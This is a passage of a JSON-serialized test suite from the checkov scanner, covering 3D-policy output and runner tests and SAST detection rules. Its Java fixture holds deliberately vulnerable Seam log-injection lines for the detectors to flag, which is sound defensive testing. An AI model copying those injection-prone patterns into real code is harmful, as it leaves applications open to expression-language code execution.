    "content": "from __future__ import annotations\n\nimport re\n\nfrom checkov.policies_3d.output import create_cli_output\n\nansi_escape = re.compile(r'(\\x9B|\\x1B\\[)[0-?]*[ -\\/]*[@-~]')\n\n\ndef test_create_simple_cli_output(policy_3d_record_single_iac_single_cve):\n    # given\n    records = [policy_3d_record_single_iac_single_cve]\n\n    # when\n    cli_output = create_cli_output(records)\n    cli_output_without_ansci_colors = ansi_escape.sub('', cli_output)\n\n    # then\n    assert cli_output_without_ansci_colors == \"\".join(\n        [\n            'Check: BC_P3D_1: \"3d policy 1\"\\n',\n            '\\tSeverity: LOW\\n',\n            '\\tGuide: https://docs.bridgecrew.io/docs/bc_p3d_1\\n',\n            '\\n',\n            '\\tResource: /dir_a/dir_b/file1.yaml:Pod.default.testPod1\\n',\n            '\\t\\t1  | apiVersion: v1\\n',\n            '\\t\\t2  | kind: Pod\\n',\n            '\\t\\t3  | metadata:\\n',\n            '\\t\\t4  |   name: 3d-policy-3\\n',\n            '\\t\\t5  | spec:\\n',\n            '\\t\\t6  |   containers:\\n',\n            '\\t\\t7  |     - name: demo 1\\n',\n            '\\t\\t8  |       image: ubuntu:latest\\n',\n            '\\t\\t9  |       securityContext:\\n',\n            '\\t\\t10 |         runAsNonRoot: false\\n',\n            '\\t\\t11 |     - name: demo 2\\n',\n            '\\t\\t12 |       image: ubuntu:latest\\n',\n            '\\t\\t13 |       securityContext:\\n',\n            '\\t\\t14 |         runAsUser: 0\\n',\n            '\\t\\t15 |     - name: demo 3\\n',\n            '\\t\\t16 |       image: ubuntu:latest\\n',\n            '\\n',\n            '\\n',\n            '\\tMatching IaC violations:\\n',\n            '\\t┌──────────────────────────┬──────────────────────────┬─────────────────────────────────────────────────────┬──────────────────────────┐\\n',\n            '\\t│ Resource                 │ Violation                │ Title                                               │ Severity                 │\\n',\n            '\\t├──────────────────────────┼──────────────────────────┼─────────────────────────────────────────────────────┼──────────────────────────┤\\n',\n            '\\t│ Pod.default.testPod1     │ BC_K8S_1                 │ Check 1 title                                       │ MEDIUM                   │\\n',\n            '\\t└──────────────────────────┴──────────────────────────┴─────────────────────────────────────────────────────┴──────────────────────────┘\\n',\n            '\\n',\n            '\\tImage Referenced with Matching CVEs:\\n',\n            '\\t┌──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┐\\n',\n            '\\t│ Image                    │ Package                  │ Current version          │ CVE ID                   │ Severity                 │\\n',\n            '\\t├──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┤\\n',\n            '\\t│ ubuntu:latest            │ krb5                     │ 1.19.2-2                 │ CVE-2022-42898           │ MEDIUM                   │\\n',\n            '\\t└──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┘\\n'\n        ]\n    )\n\n\ndef test_create_complex_cli_output(policy_3d_record_multi_iac_multi_cve):\n    # given\n    records = [policy_3d_record_multi_iac_multi_cve]\n\n    # when\n    cli_output = create_cli_output(records)\n    cli_output_without_ansci_colors = ansi_escape.sub('', cli_output)\n\n    # then\n    assert cli_output_without_ansci_colors == \"\".join(\n        ['Check: BC_P3D_1: \"3d policy 1\"\\n',\n         '\\tSeverity: LOW\\n',\n         '\\tGuide: https://docs.bridgecrew.io/docs/bc_p3d_1\\n',\n         '\\n', '\\tResource: /dir_a/dir_b/file1.yaml:Pod.default.testPod1\\n', '\\t\\t1  | apiVersion: v1\\n',\n         '\\t\\t2  | kind: Pod\\n',\n         '\\t\\t3  | metadata:\\n',\n         '\\t\\t4  |   name: 3d-policy-3\\n',\n         '\\t\\t5  | spec:\\n',\n         '\\t\\t6  |   containers:\\n',\n         '\\t\\t7  |     - name: demo 1\\n',\n         '\\t\\t8  |       image: ubuntu:latest\\n',\n         '\\t\\t9  |       securityContext:\\n',\n         '\\t\\t10 |         runAsNonRoot: false\\n',\n         '\\t\\t11 |     - name: demo 2\\n',\n         '\\t\\t12 |       image: ubuntu:latest\\n',\n         '\\t\\t13 |       securityContext:\\n',\n         '\\t\\t14 |         runAsUser: 0\\n',\n         '\\t\\t15 |     - name: demo 3\\n',\n         '\\t\\t16 |       image: ubuntu:latest\\n',\n         '\\n',\n         '\\n',\n         '\\tResource: /dir_a/dir_b/file2.yaml:Pod.default.testPod2\\n',\n         '\\t\\t1  | apiVersion: v1\\n',\n         '\\t\\t2  | kind: Pod\\n',\n         '\\t\\t3  | metadata:\\n',\n         '\\t\\t4  |   name: 3d-policy-3\\n',\n         '\\t\\t5  | spec:\\n',\n         '\\t\\t6  |   containers:\\n',\n         '\\t\\t7  |     - name: demo 1\\n',\n         '\\t\\t8  |       image: image-with-no-cves\\n',\n         '\\t\\t9  |       securityContext:\\n',\n         '\\t\\t10 |         runAsNonRoot: false\\n',\n         '\\t\\t11 |     - name: demo 2\\n',\n         '\\t\\t12 |       image: ubuntu:latest\\n',\n         '\\t\\t13 |       securityContext:\\n',\n         '\\t\\t14 |         runAsUser: 0\\n',\n         '\\t\\t15 |     - name: demo 3\\n',\n         '\\t\\t16 |       image: ubuntu:latest\\n',\n         '\\n',\n         '\\n',\n         '\\tMatching IaC violations:\\n',\n         '\\t┌──────────────────────────┬──────────────────────────┬─────────────────────────────────────────────────────┬──────────────────────────┐\\n',\n         '\\t│ Resource                 │ Violation                │ Title                                               │ Severity                 │\\n',\n         '\\t├──────────────────────────┼──────────────────────────┼─────────────────────────────────────────────────────┼──────────────────────────┤\\n',\n         '\\t│ Pod.default.testPod1     │ BC_K8S_1                 │ Check 1 title                                       │ MEDIUM                   │\\n',\n         '\\t│                          │ BC_K8S_2                 │ Check 2 title                                       │ LOW                      │\\n',\n         '\\t├──────────────────────────┼──────────────────────────┼─────────────────────────────────────────────────────┼──────────────────────────┤\\n',\n         '\\t│ Pod.default.testPod2     │ BC_K8S_3                 │ Check 3 title                                       │ HIGH                     │\\n',\n         '\\t└──────────────────────────┴──────────────────────────┴─────────────────────────────────────────────────────┴──────────────────────────┘\\n',\n         '\\n',\n         '\\tImage Referenced with Matching CVEs:\\n',\n         '\\t┌──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┐\\n',\n         '\\t│ Image                    │ Package                  │ Current version          │ CVE ID                   │ Severity                 │\\n',\n         '\\t├──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┤\\n',\n         '\\t│ ubuntu:latest            │ krb5                     │ 1.19.2-2                 │ CVE-2022-42898           │ MEDIUM                   │\\n',\n         '\\t├──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┤\\n',\n         '\\t│ ubuntu:latest            │ systemd                  │ 249.11-0ubuntu3.6        │ CVE-2022-3821            │ MEDIUM                   │\\n',\n         '\\t└──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┘\\n']\n    )\n\n\ndef test_create_empty_cli_output():\n    # given\n    records = []\n\n    # when\n    cli_output = create_cli_output(records)\n\n    # then\n    assert cli_output == ''"
  },
  {
    "path": "tests/policies_3d/test_parser.py",
    "content": "from checkov.policies_3d.checks_parser import Policy3dParser\n\ndef test_3d_policy_parser_init(raw_3d_policy):\n    # Act\n    parser = Policy3dParser(raw_3d_policy)\n\n    # Assert\n    assert parser.schema_version == 'v1'\n    assert parser.check_definition == [\n      {\n        \"cves\": {\n          \"or\": [\n            {\n              \"and\": [\n                {\n                  \"risk_factor\": \"DoS\"\n                },\n                {\n                  \"risk_factor\": \"Medium Severity\"\n                }\n              ]\n            }\n          ]\n        }\n      },\n      {\n        \"iac\": {\n          \"or\": [\n            {\n              \"violation_id\": \"BC_K8S_1\"\n            },\n            {\n              \"violation_id\": \"BC_K8S_23\"\n            }\n          ]\n        }\n      }\n    ]\n\ndef test_3d_policy_parser_parse_check_v1(raw_3d_policy, k8s_record_1, cve_1):\n  # Arrange\n  parser = Policy3dParser(raw_3d_policy)\n\n  # Act\n  check = parser.parse(iac_records=[k8s_record_1], cves_reports=[cve_1])\n\n  # Assert\n  assert check\n  assert check.id == 'BC_3D_500'\n  assert check.category == 'Policy3D'\n  assert check.guideline == 'guideline_500'\n  assert len(check.predicaments) == 1\n  assert len(check.predicaments[0].predicaments[0].predicaments[0].predicates) == 2\n  assert len(check.predicaments[0].predicaments[1].predicates) == 2"
  },
  {
    "path": "tests/policies_3d/test_runner.py",
    "content": "import pytest\nfrom checkov.common.bridgecrew.severities import Severities\nfrom checkov.policies_3d.runner import Policy3dRunner\nfrom checkov.policies_3d.checks_parser import Policy3dParser\nfrom checkov.common.bridgecrew.integration_features.features.policies_3d_integration import Policies3DIntegration\n\n\ndef test_runner_single_policy(policy_3d_1, scan_reports):\n    # given\n    checks = []\n    parser = Policy3dParser()\n    policies = [policy_3d_1]\n    for policy in policies:\n        converted_check = Policies3DIntegration._convert_raw_check(policy)\n        check = parser.parse_raw_check(converted_check)\n        check.severity = Severities[policy['severity']]\n        check.bc_id = check.id\n        checks.append(check)\n\n    # when\n    report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports)\n\n    # then\n    assert len(report.failed_checks) == 1\n    assert len(report.parsing_errors) == 0\n    assert len(report.passed_checks) == 0\n    assert len(report.skipped_checks) == 0\n\n\ndef test_runner_single_policy(policy_3d_1, scan_reports):\n    # given\n    checks = []\n    parser = Policy3dParser()\n    policies = [policy_3d_1]\n    for policy in policies:\n        converted_check = Policies3DIntegration._convert_raw_check(policy)\n        check = parser.parse_raw_check(converted_check)\n        check.severity = Severities[policy['severity']]\n        check.bc_id = check.id\n        checks.append(check)\n\n    # when\n    report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports)\n\n    # then\n    assert len(report.failed_checks) == 1\n    assert len(report.parsing_errors) == 0\n    assert len(report.passed_checks) == 0\n    assert len(report.skipped_checks) == 0\n\n\ndef test_runner_multi_policy(policy_3d_1, policy_3d_2, scan_reports):\n    # given\n    checks = []\n    parser = Policy3dParser()\n    policies = [policy_3d_1, policy_3d_2]\n    for policy in policies:\n        converted_check = Policies3DIntegration._convert_raw_check(policy)\n        check = parser.parse_raw_check(converted_check)\n        check.severity = Severities[policy['severity']]\n        check.bc_id = check.id\n        checks.append(check)\n\n    # when\n    report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports)\n\n    # then\n    assert len(report.failed_checks) == 2\n    assert len(report.parsing_errors) == 0\n    assert len(report.passed_checks) == 0\n    assert len(report.skipped_checks) == 0\n\n\ndef test_runner_multi_iac_checks_policy(policy_3d_3, scan_reports):\n    # given\n    checks = []\n    parser = Policy3dParser()\n    policies = [policy_3d_3]\n    for policy in policies:\n        converted_check = Policies3DIntegration._convert_raw_check(policy)\n        check = parser.parse_raw_check(converted_check)\n        check.severity = Severities[policy['severity']]\n        check.bc_id = check.id\n        checks.append(check)\n\n    # when\n    report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports)\n\n    # then\n    assert len(report.failed_checks) == 1\n    assert len(report.parsing_errors) == 0\n    assert len(report.passed_checks) == 0\n    assert len(report.skipped_checks) == 0\n\ndef test_runner_and_logic_for_iac_checks(policy_3d_3, scan_reports_2):\n    # given\n    checks = []\n    parser = Policy3dParser()\n    policies = [policy_3d_3]\n    for policy in policies:\n        converted_check = Policies3DIntegration._convert_raw_check(policy)\n        check = parser.parse_raw_check(converted_check)\n        check.severity = Severities[policy['severity']]\n        check.bc_id = check.id\n        checks.append(check)\n\n    # when\n    report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports_2)\n\n    # then\n    # in this report there is only 1 matching IaC violation out of the 2 expected, so it should not create a violation\n    assert len(report.failed_checks) == 0\n    assert len(report.parsing_errors) == 0\n    assert len(report.passed_checks) == 0\n    assert len(report.skipped_checks) == 0\n\n\ndef test_run_v2(raw_3d_policy, scan_reports):\n    # Arrange\n    runner = Policy3dRunner()\n\n    # Act\n    report = runner.run_v2([raw_3d_policy], scan_reports)\n\n    # Assert\n    assert report\n    assert len(report.failed_checks) == 1\n    assert len(report.passed_checks) == 1\n    assert len(report.failed_checks[0].composed_from_cves) == 2\n    assert len(report.failed_checks[0].composed_from_iac_records) == 1\n\n"
  },
  {
    "path": "tests/sast/__init__.py",
    "content": ""
  },
  {
    "path": "tests/sast/checks/python_rule.yaml",
    "content": "metadata:\n  version: '0.1'\n  id: CKV_SAST_1\n  name: 'superuser port'\n  severity: LOW\n  cwe: 'CWE-289: Authentication Bypass by Alternate Name'\n  category: sast\n  guidelines: module setting superuser port\nscope:\n  languages:\n    - python\ndefinition:\n  and:\n    - cond_type: pattern\n      operator: equals\n      value: set_port($ARG)\n    - cond_type: variable\n      variable: $ARG\n      operator: less_than\n      value: 1024"
  },
  {
    "path": "tests/sast/checks/temp_parsed_rules/temp_semgrep_rules.yaml",
    "content": "rules:\n  - id: CKV_SAST_1\n    patterns:\n      - pattern: set_port($ARG)\n      - metavariable-comparison:\n          metavariable: $ARG\n          comparison: $ARG < 1024\n    message: module setting superuser port\n    languages:\n      - python\n    severity: INFO\n    metadata:\n      cwe: 'CWE-289: Authentication Bypass by Alternate Name'\n      name: 'superuser port'"
  },
  {
    "path": "tests/sast/external_checks/v01/SuperuserPort.yaml",
    "content": "metadata:\n  version: '0.1'\n  id: CKV3_SAST_11\n  name: 'Ensure superuser port is not set'\n  guidelines: 'module setting superuser port'\n  category: 'sast'\n  cwe: 'CWE-289: Authentication Bypass by Alternate Name'\nscope:\n  languages:\n    - python\ndefinition:\n  - cond_type: \"pattern\"\n    operator: \"equals\"\n    value: \"set_port($ARG)\"\n  - cond_type: \"variable\"\n    variable: \"$ARG\"\n    operator: less_than\n    value: 1024\n"
  },
  {
    "path": "tests/sast/external_checks/v01/java_rule.yaml",
    "content": "metadata:\n  version: '0.1'\n  id: seam-log-injection\n  severity: HIGH\n  name: seam log injection\n  category: sast\n  guidelines: >-\n    Seam Logging API support an expression language to introduce bean property to log messages.\n    The expression language can also be the source to unwanted code execution.\n    In this context, an expression is built with a dynamic value.\n    The source of the value(s) should be verified to avoid that unfiltered values fall into this risky\n    code evaluation.\n  cwe: \"CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\"\n  owasp: \"A03:2021 - Injection\"\nscope:\n  languages: [java]\ndefinition:\n  - cond_type: pattern\n    operator: equals\n    value: $LOG.$INFO($X + $Y,...)\n  - or:\n    - cond_type: filter\n      attribute: pattern\n      operator: within\n      value: |\n        import org.jboss.seam.log.Log\n        ...\n    - cond_type: filter\n      attribute: pattern\n      operator: within\n      value: |\n        org.jboss.seam.log.Log $LOG = ...\n        ...\n  - cond_type: variable\n    variable: $INFO\n    operator: regex_match\n    value: (debug|error|fatal|info|trace|warn)\n"
  },
  {
    "path": "tests/sast/source_code/__init__.py",
    "content": ""
  },
  {
    "path": "tests/sast/source_code/external_check/fail.java",
    "content": "package com.company.util;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.Enumeration;\nimport java.util.List;\n\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.jboss.seam.log.Logging;\nimport org.jboss.seam.log.Log;\n\npublic class HttpRequestDebugFilter implements Filter {\n    Log log = Logging.getLog(HttpRequestDebugFilter.class);\n\n    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException,\n            ServletException {\n\n        if (request instanceof HttpServletRequest) {\n            HttpServletRequest httpRequest = (HttpServletRequest)request;\n            if (httpRequest.getRequestURI().endsWith(\".seam\")) {\n                // ruleid: seam-log-injection\n                log.info(\"request: method=\"+httpRequest.getMethod()+\", URL=\"+httpRequest.getRequestURI());\n            }\n        }\n\n        chain.doFilter(request, response);\n    }\n\n    public void logUser(User user) {\n        // ruleid: seam-log-injection\n        log.info(\"Current logged in user : \" + user.getUsername());\n    }\n\n    public void logUser(User user) {\n        // ok: seam-log-injection\n        log.info(\"Current logged in user : #0\", user.getUsername());\n    }\n\n}"
  },
  {
    "path": "tests/sast/source_code/external_check/fail.py",
    "content": "# ruleid: superuser-port\nset_port(443)\n# ok: superuser-port\nset_port(8080)"
  },
  {
    "path": "tests/sast/source_code/js_filtered_build_ts/example1/app.ts",
    "content": "let message: string = 'Hello, World!';\nconsole.log(message);\n"
  },
  {
    "path": "tests/sast/source_code/js_filtered_build_ts/example1/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"module\": \"system\",\n    \"noImplicitAny\": true,\n    \"removeComments\": true,\n    \"preserveConstEnums\": true,\n    \"outDir\": \"./build\",\n    \"sourceMap\": true\n  },\n  \"include\": [\n    \"./*.ts\"\n  ]\n}\n"
  },
  {
    "path": "tests/sast/source_code/js_filtered_build_ts/example2/app.ts",
    "content": "let message: string = 'Hello, World!';\nconsole.log(message);\n"
  },
  {
    "path": "tests/sast/source_code/js_filtered_build_ts/example2/needTScan/app.js",
    "content": ""
  },
  {
    "path": "tests/sast/source_code/js_filtered_build_ts/example2/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"module\": \"system\",\n    \"noImplicitAny\": true,\n    \"removeComments\": true,\n    \"preserveConstEnums\": true,\n    \"outFile\": \"./build/file.js\",\n    \"sourceMap\": true\n  },\n  \"include\": [\n    \"./*.ts\"\n  ]\n}\n"
  },
  {
    "path": "tests/sast/source_code/js_filtered_build_ts/example3/main.js",
    "content": ""
  },
  {
    "path": "tests/sast/source_code/js_filtered_build_ts/example3/main.ts",
    "content": ""
  },
  {
    "path": "tests/sast/test_filter_files_manager.py",
    "content": "from checkov.sast.engines.files_filter_manager import FilesFilterManager\nfrom checkov.common.sast.consts import SastLanguages\nimport pathlib\nimport os\n\n\ndef test_sast_js_filtered_files_by_ts():\n    test_dir = os.path.join(pathlib.Path(__file__).parent.resolve(), 'source_code', 'js_filtered_build_ts')\n    files_filter_manager = FilesFilterManager([test_dir], set([SastLanguages.JAVASCRIPT]))\n    filtered_paths = files_filter_manager.get_files_to_filter()\n    paths = {}\n    for path in filtered_paths:\n        if path.endswith('example2/build/file.js') or path.endswith('example1/build') or path.endswith('example3/main.js'):\n            paths[path] = path\n\n    assert len(paths.keys()) == 3"
  },
  {
    "path": "tests/sast/test_report.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.sast.consts import SastLanguages\nfrom checkov.sast.engines.prisma_engine import PrismaEngine\nfrom checkov.sast.record import SastRecord\nfrom checkov.sast.report import SastData, SastReport\nfrom checkov.common.sast.report_types import Function, PrismaReport, Repositories, File, Package, Point, MatchLocation, \\\n    DataFlow, MatchMetadata, RuleMatch, Match, SkippedCheck, RuleMatchMetadata\n\n\ndef _create_sast_reports_for_test_get_sast_reachability_report_with_one_report() -> list[SastReport]:\n    # we don't care about the init's params, except for the sast-language\n    report1 = SastReport('', {}, SastLanguages.JAVASCRIPT, PrismaReport(rule_match={}, errors={}, profiler={},\n                                                                        run_metadata={}, imports={},\n                                                                        reachability_report={},\n                                                                        skipped_checks_by_file={}))\n    report1.sast_reachability = {\n        'repo_1': Repositories(files={\n            '/index.js': File(packages={\n                'axios': Package(alias='ax', functions=[\n                    Function(name='trim', alias='hopa', line_number=4, code_block='hopa()', cve_id='cve-11')\n                ]),\n                'lodash': Package(alias='', functions=[\n                    Function(name='template', alias='', line_number=1, code_block='template()', cve_id='cve-11'),\n                    Function(name='toNumber', alias='', line_number=4, code_block='hopa()', cve_id='cve-11')\n                ])\n            }),\n            '/main.js': File(packages={\n                'axios': Package(alias='ax', functions=[\n                    Function(name='trim', alias='hi', line_number=4, code_block='hi()', cve_id='cve-11')\n                ])\n            })\n        })\n    }\n    return [report1]\n\n\ndef test_get_sast_reachability_report_with_one_report():\n    scan_reports: list[SastReport] = _create_sast_reports_for_test_get_sast_reachability_report_with_one_report()\n    sast_reachability_report = SastData.get_sast_reachability_report(scan_reports)\n    assert sast_reachability_report == {\n        'reachability': {\n            SastLanguages.JAVASCRIPT: {\n                '/index.js': File(packages={\n                    'axios': Package(alias='ax', functions=[\n                        Function(name='trim', alias='hopa', line_number=4, code_block='hopa()', cve_id='cve-11')\n                    ]),\n                    'lodash': Package(alias='', functions=[\n                        Function(name='template', alias='', line_number=1, code_block='template()', cve_id='cve-11'),\n                        Function(name='toNumber', alias='', line_number=4, code_block='hopa()', cve_id='cve-11')\n                    ])\n                }),\n                '/main.js': File(packages={\n                    'axios': Package(alias='ax', functions=[\n                        Function(name='trim', alias='hi', line_number=4, code_block='hi()', cve_id='cve-11')\n                    ])\n                })\n            }\n        }\n    }\n\n\ndef test_get_code_lines_taint():\n    record = SastRecord(check_id='', check_name='', resource='', evaluations={},\n                        check_class='', check_result=None, code_block=[], file_path='', file_line_range=[],\n                        metadata=MatchMetadata(taint_mode=DataFlow(data_flow=[MatchLocation(path='checkov/arosenfeld6666/arosenfeld6666_abc/aaa/1706717499988/src/file_that_import.js', start=Point(row=3, column=0), end=Point(row=3, column=32), code_block='let password = request.password;'), MatchLocation(path='checkov/arosenfeld6666/arosenfeld6666_abc/aaa/1706717499988/src/file_that_import.js', start=Point(row=6, column=0), end=Point(row=6, column=17), code_block='Danger(password);'), MatchLocation(path='checkov/arosenfeld6666/arosenfeld6666_abc/aaa/1706717499988/src/imported_file.js', start=Point(row=2, column=4), end=Point(row=2, column=38), code_block='console.log(\"Danger: \" + password)')])),\n                        file_abs_path='', severity=None, cwe='',\n                        owasp='', show_severity=True)\n\n    code_lines_actual_output, file_details_actual_output = record.get_code_lines_taint(record.metadata.taint_mode.data_flow)\n    code_lines_expected_output = '\\t\\tfile_that_import.js\\n\\t\\t\\x1b[37m3 | \\x1b[33mlet password = request.password;\\n\\t\\t...\\n\\t\\t\\x1b[37m6 | \\x1b[33mDanger(password);\\n\\t\\timported_file.js\\n\\t\\t\\x1b[37m2 | \\x1b[33mconsole.log(\"Danger: \" + password)\\n'\n    file_details_expected_output = 'file_that_import.js->3->6->imported_file.js->2'\n    assert code_lines_expected_output == code_lines_actual_output\n    assert file_details_expected_output == file_details_actual_output\n\n\ndef test_skipped_checks():\n    report = PrismaReport(rule_match={\n        SastLanguages.PYTHON: {'CKV3_SAST_11': RuleMatch(\n            check_id='CKV3_SAST_11', check_name='Use of module setting superuser port',\n            check_cwe=['CWE-289: Authentication Bypass by Alternate Name'], severity='LOW', check_owasp=None,\n            metadata=RuleMatchMetadata(), matches=[\n                Match(exact_hash='e97a01a1cb2abee84ad113d828f8d500eccb150941200fd6df9356bb9c193604',\n                      structure_hash='8e63ba7c140643381a68470a5d9296e6290999e3fc70971e860480c0bc24a474',\n                      location=MatchLocation(\n                          path='tests/python/src/simple_within.py',\n                          start=Point(row=2, column=0), end=Point(row=2, column=11), code_block='set_port(1)'),\n                      metadata=MatchMetadata(taint_mode=None, code_locations=None),\n                      minimized_ast='{\"type\":\"module\",\"children\":[{\"type\":\"expression_statement\",\"children\":[{\"type\":\"call\",\"name\":\"set_port\",\"children\":[{\"type\":\"identifier\"},{\"type\":\"argument_list\",\"children\":[{\"type\":\"integer\"}]}]}]}]}')])}\n    }, errors={}, profiler={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={\n        'tests/python/src/simple_within.py': [SkippedCheck(check_id='CKV3_SAST_11', suppress_comment=\"Don't feel like it\")]\n    })\n    prisma_engine = PrismaEngine()\n    prisma_engine.enable_inline_suppressions = True\n    sast_report = prisma_engine.create_report(report)\n    assert len(sast_report[0].failed_checks) == 0 and len(sast_report[0].skipped_checks) == 1\n    assert sast_report[0].skipped_checks[0].check_result['suppress_comment'] == \"Don't feel like it\"\n"
  },
  {
    "path": "tests/sast/test_runner.py",
    "content": "import pytest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.sast.checks_infra.base_registry import Registry\nfrom checkov.sast.engines.prisma_engine import PrismaEngine\nfrom checkov.sast.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nimport pathlib\nimport os\n\n\n@pytest.mark.skip(reason=\"should move test to an integration test once sast supports skipping default policies\")\ndef test_sast_runner_python():\n    runner = Runner()\n    cur_dir = pathlib.Path(__file__).parent.resolve()\n    source = os.path.join(cur_dir, 'source_code')\n    external_dir_checks = os.path.join(cur_dir, 'external_checks')\n    reports = runner.run(source, runner_filter=RunnerFilter(framework=['sast_python']),\n                         external_checks_dir=[str(external_dir_checks)])\n\n    assert len(reports) == 1\n    assert reports[0].check_type == CheckType.SAST_PYTHON\n    python_report = reports[0]\n    assert len(python_report.failed_checks) > 0\n    python_record = next((record for record in python_report.failed_checks if record.check_id == 'CKV3_SAST_11'), None)\n    assert python_record\n    assert python_record.severity.name == 'MEDIUM'\n    assert python_record.file_path == 'fail.py'\n    assert python_record.check_name == 'Ensure superuser port is not set'\n    assert python_record.code_block == [(2, 'set_port(443)\\n')]\n    assert python_record.file_abs_path == os.path.join(source, 'external_check', 'fail.py')\n    assert python_record.file_line_range == [2, 2]\n    assert python_record.check_result.get('result') == CheckResult.FAILED\n\n\n@pytest.mark.skip(reason=\"should move test to an integration test once sast supports skipping default policies\")\ndef test_sast_runner():\n    runner = Runner()\n    cur_dir = pathlib.Path(__file__).parent.resolve()\n    source = os.path.join(cur_dir / 'source_code' / 'external_check')\n    external_dir_checks = os.path.join(cur_dir, 'external_checks')\n    reports = runner.run(source,\n                         runner_filter=RunnerFilter(framework=['sast'], checks=['CKV3_SAST_11', 'seam-log-injection']),\n                         external_checks_dir=[external_dir_checks], )\n    assert len(reports) == 2\n    python_report = next(report for report in reports if report.check_type == CheckType.SAST_PYTHON)\n    assert len(python_report.failed_checks) == 1\n    assert python_report.failed_checks[0].check_id == 'CKV3_SAST_11'\n    assert python_report.failed_checks[0].severity.name == 'MEDIUM'\n    assert python_report.failed_checks[0].file_path == 'fail.py'\n    assert python_report.failed_checks[0].check_name == 'Ensure superuser port is not set'\n    assert python_report.failed_checks[0].code_block == [(2, 'set_port(443)\\n')]\n    assert python_report.failed_checks[0].file_abs_path == os.path.join(source, 'fail.py')\n    assert python_report.failed_checks[0].file_line_range == [2, 2]\n    assert python_report.failed_checks[0].check_result.get('result') == CheckResult.FAILED\n\n    java_report = next(report for report in reports if report.check_type == CheckType.SAST_JAVA)\n    assert len(java_report.failed_checks) == 2\n    assert java_report.failed_checks[0].check_id == 'seam-log-injection'\n    assert java_report.failed_checks[0].severity.name == 'HIGH'\n    assert java_report.failed_checks[0].file_path == 'fail.java'\n    assert java_report.failed_checks[0].check_name == 'seam log injection'\n    assert java_report.failed_checks[0].code_block == [\n        (31, 'log.info(\"request: method=\"+httpRequest.getMethod()+\", URL=\"+httpRequest.getRequestURI());\\n')]\n    assert java_report.failed_checks[0].file_abs_path == os.path.join(source, 'fail.java')\n    assert java_report.failed_checks[0].file_line_range == [31, 31]\n    assert java_report.failed_checks[0].check_result.get('result') == CheckResult.FAILED\n\n    assert java_report.failed_checks[1].check_id == 'seam-log-injection'\n    assert java_report.failed_checks[1].severity.name == 'HIGH'\n    assert java_report.failed_checks[1].file_path == 'fail.java'\n    assert java_report.failed_checks[1].check_name == 'seam log injection'\n    assert java_report.failed_checks[1].code_block == [\n        (40, 'log.info(\"Current logged in user : \" + user.getUsername());\\n')]\n    assert java_report.failed_checks[1].file_abs_path == os.path.join(source, 'fail.java')\n    assert java_report.failed_checks[1].file_line_range == [40, 40]\n    assert java_report.failed_checks[1].check_result.get('result') == CheckResult.FAILED\n\n\n@pytest.mark.skip(reason=\"This test should be an integration test\")\ndef test_sast_prisma_runner(mocker):\n    temp = bc_integration.bc_api_key\n    bc_integration.bc_api_key = \"123456\"\n\n    mocker.patch(\"checkov.sast.engines.prisma_engine.PrismaEngine.run_go_library\", return_value=[])\n    mocker.patch(\"checkov.sast.engines.prisma_engine.PrismaEngine.setup_sast_artifact\", return_value='')\n    mocker.patch(\"checkov.sast.engines.prisma_engine.PrismaEngine.get_sast_artifact\", return_value='')\n\n    runner = Runner()\n    cur_dir = pathlib.Path(__file__).parent.resolve()\n    source = os.path.join(cur_dir / 'source_code' / 'external_check')\n    external_dir_checks = os.path.join(cur_dir, 'external_checks')\n    reports = runner.run(source,\n                         runner_filter=RunnerFilter(framework=['sast'], checks=['CKV3_SAST_11', 'seam-log-injection']),\n                         external_checks_dir=[external_dir_checks], )\n\n    bc_integration.bc_api_key = temp\n\n    assert len(reports) == 0\n\n\ndef test_get_check_thresholds():\n    prisma_engine = PrismaEngine()\n    registry = Registry('')\n    runner_filter = RunnerFilter()\n    registry.runner_filter = runner_filter\n\n    none = Severities[BcSeverities.NONE]\n    medium = Severities[BcSeverities.MEDIUM]\n    high = Severities[BcSeverities.HIGH]\n\n    # test plain thresholds specified using --check and --skip-check, no enforcement rules\n    assert prisma_engine.get_check_thresholds(registry) == (none, none)\n\n    runner_filter.check_threshold = medium\n    assert prisma_engine.get_check_thresholds(registry) == (medium, none)\n\n    runner_filter.skip_check_threshold = medium\n    assert prisma_engine.get_check_thresholds(registry) == (medium, medium)\n\n    runner_filter.check_threshold = None\n    assert prisma_engine.get_check_thresholds(registry) == (none, medium)\n\n    # apply enforcement rules\n    runner_filter.skip_check_threshold = None\n    runner_filter.use_enforcement_rules = True\n    runner_filter.enforcement_rule_configs = {\n        CheckType.SAST: high\n    }\n    assert prisma_engine.get_check_thresholds(registry) == (high, none)\n\n    # but --check and --skip-check with severities overrides enforcement rules\n    runner_filter.check_threshold = medium\n    assert prisma_engine.get_check_thresholds(registry) == (medium, none)\n\n    runner_filter.skip_check_threshold = medium\n    assert 